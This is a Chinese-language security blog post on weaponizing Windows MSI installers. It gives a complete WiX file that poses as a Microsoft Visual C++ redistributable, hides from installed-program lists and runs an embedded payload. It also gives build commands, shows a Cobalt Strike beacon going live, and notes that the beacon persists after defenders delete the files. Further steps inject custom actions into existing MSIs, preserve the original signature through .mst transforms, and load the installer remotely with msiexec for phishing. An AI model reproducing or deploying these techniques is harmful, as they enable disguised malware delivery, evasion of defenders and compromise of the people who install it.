MSI武器化学习

admin 2024年1月30日21:13:58评论27 views字数 4605阅读15分21秒阅读模式

您的转发就是我更新的动力。

简介

MSI文件是Windows Installer的数据包,它实际上是一个数据库,包含安装一种产品所需要的信息和在很多安装情形下安装(和卸载)程序所需的指令和数据。MSI文件将程序的组成文件与功能关联起来。此外,它还包含有关安装过程本身的信息。如目标文件夹路径、系统依赖项、安装选项和控制安装过程的属性。

需要注意的是它实际上是一个数据库。

MSI安装程序可以使用WiX工具集来构建,这里面有一个属性我们需要格外注意:

<CustomAction>

CustomAction标签可以让我们运行VBS脚本,DLL,EXE等等。

注意事项

MSI可以在内存中运行内部的VBScript/JScript脚本。

MSI可以运行内存中的.Net程序集。

MSI是通过提取内部的EXE文件到C:WindowsInstallerMSIXXX.tmp来运行。

如下图:

MSI武器化学习

MSI数据库了解

前面我们说到过MSI实际上是一个数据库,下面我们简单来了解一下。

工具下载地址:

https://lessmsi.activescott.com/

将MSI文件拖进去即可。

点击Table View查看表。

MSI武器化学习

Component里面包含了对文件的引用,可以在那个文件夹中找到那个文件。

MSI武器化学习

CustomAction表示自定义动作的表格,他里面包含了将要采取的所有行动。例如在系统中运行一些DLL,运行一些脚本等等。

MSI武器化学习

Environment表示在安装过程中要使用的环境变量。

MSI武器化学习

File表示文件列表以及文件名称等信息。

MSI武器化学习

在安全的角度来说需要注意的是InstallExecuteSequence这个表,这个表表示安装执行的顺序,比如说你自定义了操作,你自定义的操作就需要来排序一下。

MSI武器化学习

还有就是这个表,这个表和上面那个表差不多,这个表还列出了MSI安装时将要执行的所有操作。

MSI武器化学习

Media

MSI武器化学习

制作MSI 执行EXE

首先创建一个projects.wxs文件。

如下: 如下已做解释 !!!

<Wix xmlns="http://schemas.microsoft.com/wix/2006/wi">    <Product Name="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.39659" Manufacturer="Microsoft Corporation" Id="*" UpgradeCode="56593721-F300-4163-B356-314B36826411" Language="1033" Version="12.0.39659">        <Package Manufacturer="Microsoft Corporation" InstallerVersion="400" Compressed="yes" InstallPrivileges="limited" InstallScope="perUser" />        <!-- 从“控制面板”程序列表中隐藏应用程序 -->        <Property Id="ARPSYSTEMCOMPONENT" Value="1"/>        <!-- 删除修复按钮 -->              <Property Id="ARPNOREPAIR" Value="yes" Secure="yes"/>        <!-- 删除修改按钮 -->        <Property Id="ARPNOMODIFY" Value="yes" Secure="yes"/>        <Media Id="1" Cabinet="fJZJXps.cab" EmbedCab="yes" CompressionLevel="high"/>         <!-- 这里是控制MSI的安装位置 我们也可以在这里加一些环境变量 -->        <SetDirectory Id="TtjuzJsbDq" Value="[%LOCALAPPDATA]VcRedist"/>        <!-- 定义目录结构 -->        <Directory Id="TARGETDIR" Name="SourceDir">            <Directory Id="TtjuzJsbDq"/>        </Directory>        <!-- 将文件添加到安装程序包 -->        <DirectoryRef Id="TtjuzJsbDq">            <Component Id="gomssWwSQ" Guid="AA0FBF6B-45F7-443D-8835-BDF4F3E57D47">                <RemoveFile Id="ONAFvmRYK" Name="*.*" On="uninstall" Directory="TtjuzJsbDq"/>                <File Id="gomssWwSQ" Source="relaysec.txt" KeyPath="yes"/>            </Component>        </DirectoryRef>        <!-- 告诉WiX安装文件 -->        <Feature Id="MainProgram" Title="Microsoft Visual C++ 2013 Redistributable (64) - 12.0.39659" Level="1">            <ComponentRef Id="gomssWwSQ"/>        </Feature>        <!-- 安装后操作 -->        <Binary Id="lmskBju" SourceFile="Autoruns64.exe"/>        <CustomAction Id="fdpcc" Execute="deferred" BinaryKey="lmskBju" Return="asyncNoWait" ExeCommand="" Impersonate="yes" />        <InstallExecuteSequence>            <Custom Action="fdpcc" Before="InstallFinalize">NOT REMOVE</Custom>        </InstallExecuteSequence>    </Product></Wix>

如下解释:

  1. <Binary> 标签指定要包含在自定义操作中的EXE。

  2. <CustomAction> 标签要求在安装前,安装期间,安装后要做些什么,这里我们指定的是运行这个EXE文件。

  3. 指定操作的顺序以及何时启动。

  4. 需要注意的是必须要有一个虚拟文件被添加到MSI安装程序中,这里指定的是relaysec.txt

  5. 最后隐藏我们添加/删除程序的列表

现在我们开始制作。

首先需要将上面的WXS文件编译为WIXOBJ文件。

这里需要用到candle.exe工具,网上很多可以直接安装。

candle.exe relaysec.wxs -arch x64

MSI武器化学习

然后将WXIOBJ文件链接到MSI文件中。

这里使用到的也是WSI工具集中的light.exe。

light.exe -ext WixUIExtension -cultures:en-us -dcl:high -out relaysec.msi relaysec.wixobj

MSI武器化学习

最终成功生成relaysec.msi,然后我们尝试运行。

可以看到进程链,这里我们的木马文件已经跑起来了。

MSI武器化学习

最终查看Cobalt Strike,可以看到成功上线。

可以看到这里上线的进程是MSIXXX.tmp。

MSI武器化学习

需要注意的是它并不依赖于relaysec.msi和beacon.exe文件,所以当蓝队人员就算将文件删除,我们的Beacon也不会掉。

但是我们会发现当运行relaysec.msi的时候不会正常的去运行安装程序,而是直接退出了,这样的话未免有些惹人怀疑了。

使用现有的MSI制作

我们可以添加行到现有的MSI表中,这样的话安装程序可以正常运行,而我们的shellcode也会正常运行。

这里需要使用到SuperORCA来进行实现。

在这之前我们需要了解一下标签的使用方式。

Binary 在MSI安装期间,在内存中保存二进制数据的表,我们可以使用它来运行NET,DLL文件等等。CustomAction 执行安装前/之后的操作。InstallExecuteSequence 安装执行的顺序,在安装过程中发生的操作按照顺序排序。Component 描述应该将文件提取到那个目录中。Media MSI内部的CAB文件,以及他们的启动序列。Registry 包含所有要创建的注册表项和值,我们可以在安装时修改注册表。

SuperORCA.exe下载地址:

https://superorca.software.informer.com/11.0/

其实更改的也是表中的内容,就和我们上面使用lessmsi工具查看到的是一样的。唯一不同的就是SuperORCA可以修改,lessmsi修改不了只能查看。

如下图:

MSI武器化学习

找到CustomAction表,右键->add Row,如果你不会填的话,可以参考微软官网。

https://learn.microsoft.com/zh-cn/windows/win32/msi/summary-list-of-all-custom-action-types
Action: 名称 这里可以随意定义Type: 使用的类型,这里可以参考如下:    VBscript 1126      JScript  1125      Run ExE  1218      Execute command 1250      Dotnet   65      Run dropped file 1746这里设置为1250 表示执行命令,当然你也可以选择其他。Source: Source设置为INSTALLDIR 表示当前安装的目录。Target: 这里表示目标也就是你要执行的命令。最后确认即可。

MSI武器化学习

然后选择InstallExecuteSequence表,这个表示安装序列,我们需要将刚才设置的给他安排到序列中进行执行。

右键->add Row

Active: 这里的名称需要和上面设置的名称一致。Condition: 条件表Sequence: 这里填写的数字只要不超过安装结束的数字即可。

这里属性可以参考:

https://learn.microsoft.com/en-us/windows/win32/msi/customaction-table

MSI武器化学习

添加成功之后我们尝试去安装。

可以看到当安装成功之前会执行我们的命令,也就是calc。

MSI武器化学习

需要注意的是当我们更改了原始的MSI文件之后它的签名将无效。

MSI武器化学习

那么如何既让签名有效又可以运行我们的shellcode呢?

MST转换文件

MST是Windows安装程序转换文件。

这里还是需要使用到SuperOrca工具。

选择Tools->Transform Two Files

Base MSI File表示正常的MSI文件,Modified MSI File表示恶意的msi文件,最后点击Create Transform创建转换文件即可,最终会生成一个calc.mst的文件。

MSI武器化学习

然后我们使用这个转换文件去执行。

msiexec /i putty-0.67-installer.msi TRANSFORMS=calc.mst

然后我们点击安装一样可以执行。并且我们原始文件的签名是正常的。

MSI武器化学习

那么我们会想这样的话我还得将原始的MSI文件上传上去再去执行命令,岂不是很麻烦?如果钓鱼的话,目标会这么乖乖的听你话吗?

其实我们可以进行远程加载。

msiexec /i http://127.0.0.1:8080/putty-0.67-installer.msi TRANSFORMS=http://127.0.0.1:8080/calc.mst

MSI武器化学习

这样的话就方便多了,我们可以使用.lnk文件等等其他命令指向这条msiexec命令即可。

原文始发于微信公众号(Relay学安全):MSI武器化学习

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月30日21:13:58
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   MSI武器化学习http://cn-sec.com/archives/2445705.html

发表评论

匿名网友 填写信息